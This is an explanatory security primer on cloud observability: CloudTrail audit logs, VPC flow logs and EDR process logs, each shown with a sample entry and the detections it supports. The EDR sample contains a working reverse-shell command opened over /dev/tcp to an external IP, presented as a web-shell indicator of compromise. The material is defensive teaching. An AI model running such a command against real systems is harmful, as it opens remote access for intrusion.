Defending a cloud environment requires three distinct categories of observability data. Think of them as three different camera systems in a building: one records who badged in and out, one records which hallways people walked through, and one records what they actually did inside each room.
1. Management Plane — CloudTrail (AWS) / Audit Logs (GCP/Azure)
Question answered: "Who configured what, and when?"
This plane captures every API call made to your cloud control plane. When someone creates a server, modifies a firewall rule, attaches an IAM policy, or deletes a database — that action is an API call, and it gets logged here.
Example log entry (simplified CloudTrail):
{
"eventTime": "2024-03-15T02:14:33Z",
"eventName": "AttachUserPolicy",
"userIdentity": { "type": "IAMUser", "userName": "alice" },
"requestParameters": {
"userName": "bob",
"policyArn": "arn:aws:iam::aws:policy/AdministratorAccess"
},
"sourceIPAddress": "203.0.113.42"
}
Key detections: Unauthorized infrastructure changes, privilege escalation (a user granting themselves or others admin rights), resource deletion, and configuration tampering.
2. Network Plane — VPC Flow Logs / Network Intelligence
Question answered: "Who talked to whom, on what port, and how much data moved?"
Flow logs capture the metadata of network connections — source IP, destination IP, port, protocol, bytes transferred, and whether the connection was accepted or rejected. Critically, they do not capture the actual payload content (what was said), only the envelope (who sent what to whom). This is analogous to a phone company's call records: they know you called a number for 10 minutes, but not what you said.
Example VPC Flow Log entry:
2 123456789012 eni-abc123 10.0.1.5 198.51.100.23 54321 443 6 42 18432 1710468000 1710468060 ACCEPT OK
Decoded: Instance at 10.0.1.5 made an outbound HTTPS connection to 198.51.100.23, transferring 18KB over 60 seconds.
Key detections: Data exfiltration (large outbound transfers to unknown IPs), command-and-control (C2) beaconing (regular small packets to external IPs), lateral movement (unexpected east-west traffic between internal subnets), and port scanning.
3. Endpoint Plane — EDR Logs (CrowdStrike, SentinelOne, Wazuh)
Question answered: "What happened inside the machine?"
An EDR (Endpoint Detection and Response) agent runs on each server or workstation and records process-level activity: which processes started, what files they touched, what registry keys they modified, what network connections they made, and what child processes they spawned.
Example EDR event:
{
"timestamp": "2024-03-15T02:17:01Z",
"hostname": "prod-web-01",
"event_type": "ProcessCreate",
"parent_process": "apache2",
"child_process": "bash",
"command_line": "bash -i >& /dev/tcp/198.51.100.23/4444 0>&1",
"user": "www-data"
}
This single event — a web server spawning an interactive bash shell that opens a reverse TCP connection — is a textbook web shell indicator of compromise.
Key detections: Malware execution, ransomware file encryption activity, credential dumping (e.g., reading /etc/shadow or LSASS memory), and living-off-the-land attacks using legitimate system tools.